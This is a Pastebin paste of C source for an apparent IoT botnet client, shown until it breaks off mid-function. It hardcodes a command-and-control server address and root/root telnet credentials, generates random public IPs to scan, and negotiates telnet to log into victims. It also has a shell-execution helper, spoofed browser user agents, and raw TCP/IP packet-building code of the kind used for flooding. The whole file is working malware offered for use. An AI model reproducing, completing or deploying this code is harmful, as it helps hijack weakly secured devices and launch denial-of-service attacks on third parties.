LNO_LiGhT

queer.c

Jan 19th, 2017
2,223
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 65.57 KB | None | 0 0
  1. #define PR_SET_NAME 15 //DOESNT REP SKIDZ
  2. #define SERVER_LIST_SIZE (sizeof(commServer) / sizeof(unsigned char *))
  3. #define PAD_RIGHT 1
  4. #define PAD_ZERO 2
  5. #define PRINT_BUF_LEN 12
  6. #define CMD_IAC   255
  7. #define CMD_WILL  251
  8. #define CMD_WONT  252
  9. #define CMD_DO    253
  10. #define CMD_DONT  254
  11. #define OPT_SGA   3
  12. #define STD2_SIZE 55
  13. #define BUFFER_SIZE 512
  14. #include <stdlib.h>
  15. #include <stdarg.h>
  16. #include <stdio.h>
  17. #include <sys/socket.h>
  18. #include <sys/types.h>
  19. #include <netinet/in.h>
  20. #include <arpa/inet.h>
  21. #include <netdb.h>
  22. #include <signal.h>
  23. #include <strings.h>
  24. #include <string.h>
  25. #include <sys/utsname.h>
  26. #include <unistd.h>
  27. #include <fcntl.h>
  28. #include <errno.h>
  29. #include <netinet/ip.h>
  30. #include <netinet/udp.h>
  31. #include <netinet/tcp.h>
  32. #include <sys/wait.h>
  33. #include <sys/ioctl.h>
  34. #include <net/if.h>
  35.  
  36. const char *UserAgents[] = {
  37.     "Mozilla/4.0 (Compatible; MSIE 8.0; Windows NT 5.2; Trident/6.0)",
  38.     "Mozilla/4.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0)",
  39.     "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; pl) Opera 11.00",
  40.     "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; en) Opera 11.00",
  41.     "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; ja) Opera 11.00",
  42.     "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; de) Opera 11.01",
  43.     "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; fr) Opera 11.00",
  44.     "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36",
  45.     "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36",
  46.     "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0",
  47.     "Mozilla/5.0 (iPhone; CPU iPhone OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4",
  48.     "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0",
  49.     "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36",
  50.     "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36",
  51.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit/601.1.56 (KHTML, like Gecko) Version/9.0 Safari/601.1.56",
  52.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/601.2.7 (KHTML, like Gecko) Version/9.0.1 Safari/601.2.7",
  53.     "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
  54.     "Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)",
  55.     "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51",
  56.     "Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16",
  57.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A",
  58.     "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36",
  59.     "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36",
  60.     "Mozilla/5.0 (Linux; Android 4.4.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile Safari/537.36",
  61.     "Mozilla/5.0 (Linux; Android 4.4.3; HTC_0PCV2 Build/KTU84L) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36",
  62.     "Mozilla/4.0 (compatible; MSIE 8.0; X11; Linux x86_64; pl) Opera 11.00",
  63.     "Mozilla/4.0 (compatible; MSIE 9.0; Windows 98; .NET CLR 3.0.04506.30)",
  64.     "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)",
  65.     "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/4.0; GTB7.4; InfoPath.3; SV1; .NET CLR 3.4.53360; WOW64; en-US)",
  66.     "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; FDM; MSIECrawler; Media Center PC 5.0)",
  67.     "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 4.4.58799; WOW64; en-US)",
  68.     "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts)",
  69.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0",
  70.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0",
  71.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0",
  72.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10; rv:33.0) Gecko/20100101 Firefox/33.0"
  73. };
  74.  
  75.  
  76. //    ___             __ _
  77. //   / __\___  _ __  / _(_) __ _
  78. //  / /  / _ \| '_ \| |_| |/ _` |
  79. // / /__| (_) | | | |  _| | (_| |
  80. // \____/\___/|_| |_|_| |_|\__, |
  81. //                         |___/
  82.  
  83. unsigned char *commServer[] =
  84. {
  85.         "178.162.199.96:23"
  86. };
  87.  
  88. //    ___                 _
  89. //   / __\   _ _ __   ___| |_(_) ___  _ __  ___
  90. //  / _\| | | | '_ \ / __| __| |/ _ \| '_ \/ __|
  91. // / /  | |_| | | | | (__| |_| | (_) | | | \__ \
  92. // \/    \__,_|_| |_|\___|\__|_|\___/|_| |_|___/
  93.  
  94. int initConnection();
  95. int getBogos(unsigned char *bogomips);
  96. int getCores();
  97. int getCountry(unsigned char *buf, int bufsize);
  98. void makeRandomStr(unsigned char *buf, int length);
  99. int sockprintf(int sock, char *formatStr, ...);
  100. char *inet_ntoa(struct in_addr in);
  101.  
  102. //    ___ _       _           _
  103. //   / _ \ | ___ | |__   __ _| |___
  104. //  / /_\/ |/ _ \| '_ \ / _` | / __|
  105. // / /_\\| | (_) | |_) | (_| | \__ \
  106. // \____/|_|\___/|_.__/ \__,_|_|___/
  107.  
  108. int mainCommSock = 0, currentServer = -1, gotIP = 0;
  109. uint32_t *pids;
  110. uint32_t scanPid;
  111. uint64_t numpids = 0;
  112. struct in_addr ourIP;
  113. unsigned char macAddress[6] = {0};
  114. char *usernames[] = {"root\0"};
  115. char *passwords[] = {"root\0"};
  116.  
  117. //    ___  ___  __      __  ___
  118. //   / __\/ _ \/__\  /\ \ \/ _ \
  119. //  / _\ / /_)/ \// /  \/ / /_\/
  120. // / /  / ___/ _  \/ /\  / /_\\
  121. // \/   \/   \/ \_/\_\ \/\____/
  122.  
  123. #define PHI 0x9e3779b9
  124. static uint32_t Q[4096], c = 362436;
  125.  
  126. void init_rand(uint32_t x)
  127. {
  128.         int i;
  129.  
  130.         Q[0] = x;
  131.         Q[1] = x + PHI;
  132.         Q[2] = x + PHI + PHI;
  133.  
  134.         for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  135. }
  136.  
  137. uint32_t rand_cmwc(void)
  138. {
  139.         uint64_t t, a = 18782LL;
  140.         static uint32_t i = 4095;
  141.         uint32_t x, r = 0xfffffffe;
  142.         i = (i + 1) & 4095;
  143.         t = a * Q[i] + c;
  144.         c = (uint32_t)(t >> 32);
  145.         x = t + c;
  146.         if (x < c) {
  147.                 x++;
  148.                 c++;
  149.         }
  150.         return (Q[i] = r - x);
  151. }
  152.  
  153. //        _   _ _
  154. //  /\ /\| |_(_) |___
  155. // / / \ \ __| | / __|
  156. // \ \_/ / |_| | \__ \
  157. //  \___/ \__|_|_|___/
  158.  
  159. void trim(char *str)
  160. {
  161.         int i;
  162.         int begin = 0;
  163.         int end = strlen(str) - 1;
  164.  
  165.         while (isspace(str[begin])) begin++;
  166.  
  167.         while ((end >= begin) && isspace(str[end])) end--;
  168.         for (i = begin; i <= end; i++) str[i - begin] = str[i];
  169.  
  170.         str[i - begin] = '\0';
  171. }
  172.  
  173. static void printchar(unsigned char **str, int c)
  174. {
  175.         if (str) {
  176.                 **str = c;
  177.                 ++(*str);
  178.         }
  179.         else (void)write(1, &c, 1);
  180. }
  181.  
  182. static int prints(unsigned char **out, const unsigned char *string, int width, int pad)
  183. {
  184.         register int pc = 0, padchar = ' ';
  185.  
  186.         if (width > 0) {
  187.                 register int len = 0;
  188.                 register const unsigned char *ptr;
  189.                 for (ptr = string; *ptr; ++ptr) ++len;
  190.                 if (len >= width) width = 0;
  191.                 else width -= len;
  192.                 if (pad & PAD_ZERO) padchar = '0';
  193.         }
  194.         if (!(pad & PAD_RIGHT)) {
  195.                 for ( ; width > 0; --width) {
  196.                         printchar (out, padchar);
  197.                         ++pc;
  198.                 }
  199.         }
  200.         for ( ; *string ; ++string) {
  201.                 printchar (out, *string);
  202.                 ++pc;
  203.         }
  204.         for ( ; width > 0; --width) {
  205.                 printchar (out, padchar);
  206.                 ++pc;
  207.         }
  208.  
  209.         return pc;
  210. }
  211.  
  212. static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase)
  213. {
  214.         unsigned char print_buf[PRINT_BUF_LEN];
  215.         register unsigned char *s;
  216.         register int t, neg = 0, pc = 0;
  217.         register unsigned int u = i;
  218.  
  219.         if (i == 0) {
  220.                 print_buf[0] = '0';
  221.                 print_buf[1] = '\0';
  222.                 return prints (out, print_buf, width, pad);
  223.         }
  224.  
  225.         if (sg && b == 10 && i < 0) {
  226.                 neg = 1;
  227.                 u = -i;
  228.         }
  229.  
  230.         s = print_buf + PRINT_BUF_LEN-1;
  231.         *s = '\0';
  232.  
  233.         while (u) {
  234.                 t = u % b;
  235.                 if( t >= 10 )
  236.                 t += letbase - '0' - 10;
  237.                 *--s = t + '0';
  238.                 u /= b;
  239.         }
  240.  
  241.         if (neg) {
  242.                 if( width && (pad & PAD_ZERO) ) {
  243.                         printchar (out, '-');
  244.                         ++pc;
  245.                         --width;
  246.                 }
  247.                 else {
  248.                         *--s = '-';
  249.                 }
  250.         }
  251.  
  252.         return pc + prints (out, s, width, pad);
  253. }
  254. void filter(char *a) { while(a[strlen(a)-1] == '\r' || a[strlen(a)-1] == '\n') a[strlen(a)-1]=0; }
  255. char *makestring() {
  256.     char *tmp;
  257.     int len=(rand()%5)+4,i;
  258.     FILE *file;
  259.     tmp=(char*)malloc(len+1);
  260.     memset(tmp,0,len+1);
  261.     char *pre;
  262.     if ((file=fopen("/usr/dict/words","r")) == NULL) for (i=0;i<len;i++) tmp[i]=(rand()%(91-65))+65;
  263.     else {
  264.         int a=((rand()*rand())%45402)+1;
  265.         char buf[1024];
  266.         for (i=0;i<a;i++) fgets(buf,1024,file);
  267.         memset(buf,0,1024);
  268.         fgets(buf,1024,file);
  269.         filter(buf);
  270.         memcpy(tmp,buf,len);
  271.         fclose(file);
  272.     }
  273.     return tmp;
  274. }
  275.  
  276. static int print(unsigned char **out, const unsigned char *format, va_list args )
  277. {
  278.         register int width, pad;
  279.         register int pc = 0;
  280.         unsigned char scr[2];
  281.  
  282.         for (; *format != 0; ++format) {
  283.                 if (*format == '%') {
  284.                         ++format;
  285.                         width = pad = 0;
  286.                         if (*format == '\0') break;
  287.                         if (*format == '%') goto out;
  288.                         if (*format == '-') {
  289.                                 ++format;
  290.                                 pad = PAD_RIGHT;
  291.                         }
  292.                         while (*format == '0') {
  293.                                 ++format;
  294.                                 pad |= PAD_ZERO;
  295.                         }
  296.                         for ( ; *format >= '0' && *format <= '9'; ++format) {
  297.                                 width *= 10;
  298.                                 width += *format - '0';
  299.                         }
  300.                         if( *format == 's' ) {
  301.                                 register char *s = (char *)va_arg( args, int );
  302.                                 pc += prints (out, s?s:"(null)", width, pad);
  303.                                 continue;
  304.                         }
  305.                         if( *format == 'd' ) {
  306.                                 pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');
  307.                                 continue;
  308.                         }
  309.                         if( *format == 'x' ) {
  310.                                 pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');
  311.                                 continue;
  312.                         }
  313.                         if( *format == 'X' ) {
  314.                                 pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');
  315.                                 continue;
  316.                         }
  317.                         if( *format == 'u' ) {
  318.                                 pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');
  319.                                 continue;
  320.                         }
  321.                         if( *format == 'c' ) {
  322.                                 scr[0] = (unsigned char)va_arg( args, int );
  323.                                 scr[1] = '\0';
  324.                                 pc += prints (out, scr, width, pad);
  325.                                 continue;
  326.                         }
  327.                 }
  328.                 else {
  329. out:
  330.                         printchar (out, *format);
  331.                         ++pc;
  332.                 }
  333.         }
  334.         if (out) **out = '\0';
  335.         va_end( args );
  336.         return pc;
  337. }
  338.  
  339. int zprintf(const unsigned char *format, ...)
  340. {
  341.         va_list args;
  342.         va_start( args, format );
  343.         return print( 0, format, args );
  344. }
  345.  
  346. int szprintf(unsigned char *out, const unsigned char *format, ...)
  347. {
  348.         va_list args;
  349.         va_start( args, format );
  350.         return print( &out, format, args );
  351. }
  352.  
  353.  
  354. int sockprintf(int sock, char *formatStr, ...)
  355. {
  356.         unsigned char *textBuffer = malloc(2048);
  357.         memset(textBuffer, 0, 2048);
  358.         char *orig = textBuffer;
  359.         va_list args;
  360.         va_start(args, formatStr);
  361.         print(&textBuffer, formatStr, args);
  362.         va_end(args);
  363.         orig[strlen(orig)] = '\n';
  364.         zprintf("buf: %s\n", orig);
  365.         int q = send(sock,orig,strlen(orig), MSG_NOSIGNAL);
  366.         free(orig);
  367.         return q;
  368. }
  369.  
  370. static int *fdopen_pids;
  371.  
  372. int fdpopen(unsigned char *program, register unsigned char *type)
  373. {
  374.         register int iop;
  375.         int pdes[2], fds, pid;
  376.  
  377.         if (*type != 'r' && *type != 'w' || type[1]) return -1;
  378.  
  379.         if (pipe(pdes) < 0) return -1;
  380.         if (fdopen_pids == NULL) {
  381.                 if ((fds = getdtablesize()) <= 0) return -1;
  382.                 if ((fdopen_pids = (int *)malloc((unsigned int)(fds * sizeof(int)))) == NULL) return -1;
  383.                 memset((unsigned char *)fdopen_pids, 0, fds * sizeof(int));
  384.         }
  385.  
  386.         switch (pid = vfork())
  387.         {
  388.         case -1:
  389.                 close(pdes[0]);
  390.                 close(pdes[1]);
  391.                 return -1;
  392.         case 0:
  393.                 if (*type == 'r') {
  394.                         if (pdes[1] != 1) {
  395.                                 dup2(pdes[1], 1);
  396.                                 close(pdes[1]);
  397.                         }
  398.                         close(pdes[0]);
  399.                 } else {
  400.                         if (pdes[0] != 0) {
  401.                                 (void) dup2(pdes[0], 0);
  402.                                 (void) close(pdes[0]);
  403.                         }
  404.                         (void) close(pdes[1]);
  405.                 }
  406.                 execl("/bin/sh", "sh", "-c", program, NULL);
  407.                 _exit(127);
  408.         }
  409.         if (*type == 'r') {
  410.                 iop = pdes[0];
  411.                 (void) close(pdes[1]);
  412.         } else {
  413.                 iop = pdes[1];
  414.                 (void) close(pdes[0]);
  415.         }
  416.         fdopen_pids[iop] = pid;
  417.         return (iop);
  418. }
  419.  
  420. int fdpclose(int iop)
  421. {
  422.         register int fdes;
  423.         sigset_t omask, nmask;
  424.         int pstat;
  425.         register int pid;
  426.  
  427.         if (fdopen_pids == NULL || fdopen_pids[iop] == 0) return (-1);
  428.         (void) close(iop);
  429.         sigemptyset(&nmask);
  430.         sigaddset(&nmask, SIGINT);
  431.         sigaddset(&nmask, SIGQUIT);
  432.         sigaddset(&nmask, SIGHUP);
  433.         (void) sigprocmask(SIG_BLOCK, &nmask, &omask);
  434.         do {
  435.                 pid = waitpid(fdopen_pids[iop], (int *) &pstat, 0);
  436.         } while (pid == -1 && errno == EINTR);
  437.         (void) sigprocmask(SIG_SETMASK, &omask, NULL);
  438.         fdopen_pids[fdes] = 0;
  439.         return (pid == -1 ? -1 : WEXITSTATUS(pstat));
  440. }
  441.  
  442. unsigned char *fdgets(unsigned char *buffer, int bufferSize, int fd)
  443. {
  444.         int got = 1, total = 0;
  445.         while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  446.         return got == 0 ? NULL : buffer;
  447. }
  448.  
  449. static const long hextable[] = {
  450.         [0 ... 255] = -1,
  451.         ['0'] = 0, 1, 2, 3, 4, 5, 6, 7, 8, 9,
  452.         ['A'] = 10, 11, 12, 13, 14, 15,
  453.         ['a'] = 10, 11, 12, 13, 14, 15
  454. };
  455.  
  456. long parseHex(unsigned char *hex)
  457. {
  458.         long ret = 0;
  459.         while (*hex && ret >= 0) ret = (ret << 4) | hextable[*hex++];
  460.         return ret;
  461. }
  462.  
  463. int wildString(const unsigned char* pattern, const unsigned char* string) {
  464.         switch(*pattern)
  465.         {
  466.         case '\0': return *string;
  467.         case '*': return !(!wildString(pattern+1, string) || *string && !wildString(pattern, string+1));
  468.         case '?': return !(*string && !wildString(pattern+1, string+1));
  469.         default: return !((toupper(*pattern) == toupper(*string)) && !wildString(pattern+1, string+1));
  470.         }
  471. }
  472.  
  473. int getHost(unsigned char *toGet, struct in_addr *i)
  474. {
  475.         struct hostent *h;
  476.         if((i->s_addr = inet_addr(toGet)) == -1) return 1;
  477.         return 0;
  478. }
  479.  
  480. void uppercase(unsigned char *str)
  481. {
  482.         while(*str) { *str = toupper(*str); str++; }
  483. }
  484.  
  485. int getBogos(unsigned char *bogomips)
  486. {
  487.         int cmdline = open("/proc/cpuinfo", O_RDONLY);
  488.         char linebuf[4096];
  489.         while(fdgets(linebuf, 4096, cmdline) != NULL)
  490.         {
  491.                 uppercase(linebuf);
  492.                 if(strstr(linebuf, "BOGOMIPS") == linebuf)
  493.                 {
  494.                         unsigned char *pos = linebuf + 8;
  495.                         while(*pos == ' ' || *pos == '\t' || *pos == ':') pos++;
  496.                         while(pos[strlen(pos)-1] == '\r' || pos[strlen(pos)-1] == '\n') pos[strlen(pos)-1]=0;
  497.                         if(strchr(pos, '.') != NULL) *strchr(pos, '.') = 0x00;
  498.                         strcpy(bogomips, pos);
  499.                         close(cmdline);
  500.                         return 0;
  501.                 }
  502.                 memset(linebuf, 0, 4096);
  503.         }
  504.         close(cmdline);
  505.         return 1;
  506. }
  507.  
  508. int getCores()
  509. {
  510.         int totalcores = 0;
  511.         int cmdline = open("/proc/cpuinfo", O_RDONLY);
  512.         char linebuf[4096];
  513.         while(fdgets(linebuf, 4096, cmdline) != NULL)
  514.         {
  515.                 uppercase(linebuf);
  516.                 if(strstr(linebuf, "BOGOMIPS") == linebuf) totalcores++;
  517.                 memset(linebuf, 0, 4096);
  518.         }
  519.         close(cmdline);
  520.         return totalcores;
  521.  
  522. }
  523.  
  524. void makeRandomStr(unsigned char *buf, int length)
  525. {
  526.         int i = 0;
  527.         for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65;
  528. }
  529.  
  530. int recvLine(int socket, unsigned char *buf, int bufsize)
  531. {
  532.         memset(buf, 0, bufsize);
  533.  
  534.         fd_set myset;
  535.         struct timeval tv;
  536.         tv.tv_sec = 30;
  537.         tv.tv_usec = 0;
  538.         FD_ZERO(&myset);
  539.         FD_SET(socket, &myset);
  540.         int selectRtn, retryCount;
  541.         if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  542.                 while(retryCount < 10)
  543.                 {
  544.                         sockprintf(mainCommSock, "PING");
  545.  
  546.                         tv.tv_sec = 30;
  547.                         tv.tv_usec = 0;
  548.                         FD_ZERO(&myset);
  549.                         FD_SET(socket, &myset);
  550.                         if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  551.                                 retryCount++;
  552.                                 continue;
  553.                         }
  554.  
  555.                         break;
  556.                 }
  557.         }
  558.  
  559.         unsigned char tmpchr;
  560.         unsigned char *cp;
  561.         int count = 0;
  562.  
  563.         cp = buf;
  564.         while(bufsize-- > 1)
  565.         {
  566.                 if(recv(mainCommSock, &tmpchr, 1, 0) != 1) {
  567.                         *cp = 0x00;
  568.                         return -1;
  569.                 }
  570.                 *cp++ = tmpchr;
  571.                 if(tmpchr == '\n') break;
  572.                 count++;
  573.         }
  574.         *cp = 0x00;
  575.  
  576. //      zprintf("recv: %s\n", cp);
  577.  
  578.         return count;
  579. }
  580.  
  581. int connectTimeout(int fd, char *host, int port, int timeout)
  582. {
  583.         struct sockaddr_in dest_addr;
  584.         fd_set myset;
  585.         struct timeval tv;
  586.         socklen_t lon;
  587.  
  588.         int valopt;
  589.         long arg = fcntl(fd, F_GETFL, NULL);
  590.         arg |= O_NONBLOCK;
  591.         fcntl(fd, F_SETFL, arg);
  592.  
  593.         dest_addr.sin_family = AF_INET;
  594.         dest_addr.sin_port = htons(port);
  595.         if(getHost(host, &dest_addr.sin_addr)) return 0;
  596.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  597.         int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  598.  
  599.         if (res < 0) {
  600.                 if (errno == EINPROGRESS) {
  601.                         tv.tv_sec = timeout;
  602.                         tv.tv_usec = 0;
  603.                         FD_ZERO(&myset);
  604.                         FD_SET(fd, &myset);
  605.                         if (select(fd+1, NULL, &myset, NULL, &tv) > 0) {
  606.                                 lon = sizeof(int);
  607.                                 getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  608.                                 if (valopt) return 0;
  609.                         }
  610.                         else return 0;
  611.                 }
  612.                 else return 0;
  613.         }
  614.  
  615.         arg = fcntl(fd, F_GETFL, NULL);
  616.         arg &= (~O_NONBLOCK);
  617.         fcntl(fd, F_SETFL, arg);
  618.  
  619.         return 1;
  620. }
  621.  
  622. int listFork()
  623. {
  624.         uint32_t parent, *newpids, i;
  625.         parent = fork();
  626.         if (parent <= 0) return parent;
  627.         numpids++;
  628.         newpids = (uint32_t*)malloc((numpids + 1) * 4);
  629.         for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];
  630.         newpids[numpids - 1] = parent;
  631.         free(pids);
  632.         pids = newpids;
  633.         return parent;
  634. }
  635.  
  636. int negotiate(int sock, unsigned char *buf, int len)
  637. {
  638.         unsigned char c;
  639.  
  640.         switch (buf[1]) {
  641.         case CMD_IAC: /*dropped an extra 0xFF wh00ps*/ return 0;
  642.         case CMD_WILL:
  643.         case CMD_WONT:
  644.         case CMD_DO:
  645.         case CMD_DONT:
  646.                 c = CMD_IAC;
  647.                 send(sock, &c, 1, MSG_NOSIGNAL);
  648.                 if (CMD_WONT == buf[1]) c = CMD_DONT;
  649.                 else if (CMD_DONT == buf[1]) c = CMD_WONT;
  650.                 else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO);
  651.                 else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT);
  652.                 send(sock, &c, 1, MSG_NOSIGNAL);
  653.                 send(sock, &(buf[2]), 1, MSG_NOSIGNAL);
  654.                 break;
  655.  
  656.         default:
  657.                 break;
  658.         }
  659.  
  660.         return 0;
  661. }
  662.  
  663. int matchPrompt(char *bufStr)
  664. {
  665.         char *prompts = ":>%$#\0";
  666.  
  667.         int bufLen = strlen(bufStr);
  668.         int i, q = 0;
  669.         for(i = 0; i < strlen(prompts); i++)
  670.         {
  671.                 while(bufLen > q && (*(bufStr + bufLen - q) == 0x00 || *(bufStr + bufLen - q) == ' ' || *(bufStr + bufLen - q) == '\r' || *(bufStr + bufLen - q) == '\n')) q++;
  672.                 if(*(bufStr + bufLen - q) == prompts[i]) return 1;
  673.         }
  674.  
  675.         return 0;
  676. }
  677.  
  678. int readUntil(int fd, char *toFind, int matchLePrompt, int timeout, int timeoutusec, char *buffer, int bufSize, int initialIndex)
  679. {
  680.         int bufferUsed = initialIndex, got = 0, found = 0;
  681.         fd_set myset;
  682.         struct timeval tv;
  683.         tv.tv_sec = timeout;
  684.         tv.tv_usec = timeoutusec;
  685.         unsigned char *initialRead = NULL;
  686.  
  687.         while(bufferUsed + 2 < bufSize && (tv.tv_sec > 0 || tv.tv_usec > 0))
  688.         {
  689.                 FD_ZERO(&myset);
  690.                 FD_SET(fd, &myset);
  691.                 if (select(fd+1, &myset, NULL, NULL, &tv) < 1) break;
  692.                 initialRead = buffer + bufferUsed;
  693.                 got = recv(fd, initialRead, 1, 0);
  694.                 if(got == -1 || got == 0) return 0;
  695.                 bufferUsed += got;
  696.                 if(*initialRead == 0xFF)
  697.                 {
  698.                         got = recv(fd, initialRead + 1, 2, 0);
  699.                         if(got == -1 || got == 0) return 0;
  700.                         bufferUsed += got;
  701.                         if(!negotiate(fd, initialRead, 3)) return 0;
  702.                 } else {
  703.                         if(strstr(buffer, toFind) != NULL || (matchLePrompt && matchPrompt(buffer))) { found = 1; break; }
  704.                 }
  705.         }
  706.  
  707.         if(found) return 1;
  708.         return 0;
  709. }
  710.  
  711. //   _____  ___         _   _ _
  712. //   \_   \/ _ \  /\ /\| |_(_) |___
  713. //    / /\/ /_)/ / / \ \ __| | / __|
  714. // /\/ /_/ ___/  \ \_/ / |_| | \__ \
  715. // \____/\/       \___/ \__|_|_|___/
  716.  
  717. static uint8_t ipState[5];
  718. in_addr_t getRandomPublicIP()
  719. {
  720.     if(ipState[1] < 255 && ipState[2] < 255 && ipState[3] < 255 && ipState[4] < 255)
  721.         {
  722.                 ipState[1]++;
  723.         ipState[2]++;
  724.         ipState[3]++;
  725.         ipState[4]++;
  726.                 char ip[16];
  727.                 szprintf(ip, "%d.%d.%d.%d", ipState[1], ipState[2], ipState[3], ipState[4]);
  728.         return inet_addr(ip);
  729.         }
  730.  
  731.     ipState[1] = 0;
  732.     ipState[2] = 0;
  733.         ipState[3] = 0;
  734.     ipState[4] = 0;
  735.         while(
  736.                 (ipState[1] == 0) ||
  737.                 (ipState[1] == 10) ||
  738.                 (ipState[1] == 100 && (ipState[2] >= 64 && ipState[2] <= 169)) ||
  739.                 (ipState[1] == 169 && ipState[2] == 254) ||
  740.                 (ipState[1] == 172 && (ipState[2] <= 16 && ipState[2] <= 31)) ||
  741.                 (ipState[1] == 192 && ipState[2] == 0 && ipState[3] == 2) ||
  742.                 (ipState[1] == 192 && ipState[2] == 88 && ipState[3] == 99) ||
  743.                 (ipState[1] == 192 && ipState[2] == 168) ||
  744.                 (ipState[1] == 198 && (ipState[2] == 18 || ipState[2] == 19)) ||
  745.                 (ipState[1] == 198 && ipState[2] == 51 && ipState[3] == 100) ||
  746.                 (ipState[1] == 203 && ipState[2] == 0 && ipState[3] == 113) ||
  747.                 (ipState[1] >= 224)
  748.         )
  749.         {
  750.                 ipState[1] = rand() % 255;
  751.             ipState[2] = rand() % 255;
  752.             ipState[3] = rand() % 255;
  753.         ipState[4] = rand() % 255;
  754.         }
  755.  
  756.     char ip[16];
  757.         szprintf(ip, "%d.%d.%d.%d", ipState[1], ipState[2], ipState[3], ipState[4]);
  758.     return inet_addr(ip);
  759. }
  760.  
  761. in_addr_t getRandomIP(in_addr_t netmask)
  762. {
  763.         in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
  764.         return tmp ^ ( rand_cmwc() & ~netmask);
  765. }
  766.  
  767. unsigned short csum (unsigned short *buf, int count)
  768. {
  769.         register uint64_t sum = 0;
  770.         while( count > 1 ) { sum += *buf++; count -= 2; }
  771.         if(count > 0) { sum += *(unsigned char *)buf; }
  772.         while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  773.         return (uint16_t)(~sum);
  774. }
  775.  
  776. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph)
  777. {
  778.  
  779.         struct tcp_pseudo
  780.         {
  781.                 unsigned long src_addr;
  782.                 unsigned long dst_addr;
  783.                 unsigned char zero;
  784.                 unsigned char proto;
  785.                 unsigned short length;
  786.         } pseudohead;
  787.         unsigned short total_len = iph->tot_len;
  788.         pseudohead.src_addr=iph->saddr;
  789.         pseudohead.dst_addr=iph->daddr;
  790.         pseudohead.zero=0;
  791.         pseudohead.proto=IPPROTO_TCP;
  792.         pseudohead.length=htons(sizeof(struct tcphdr));
  793.         int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  794.         unsigned short *tcp = malloc(totaltcp_len);
  795.         memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  796.         memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  797.         unsigned short output = csum(tcp,totaltcp_len);
  798.         free(tcp);
  799.         return output;
  800. }
  801.  
  802. void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize)
  803. {
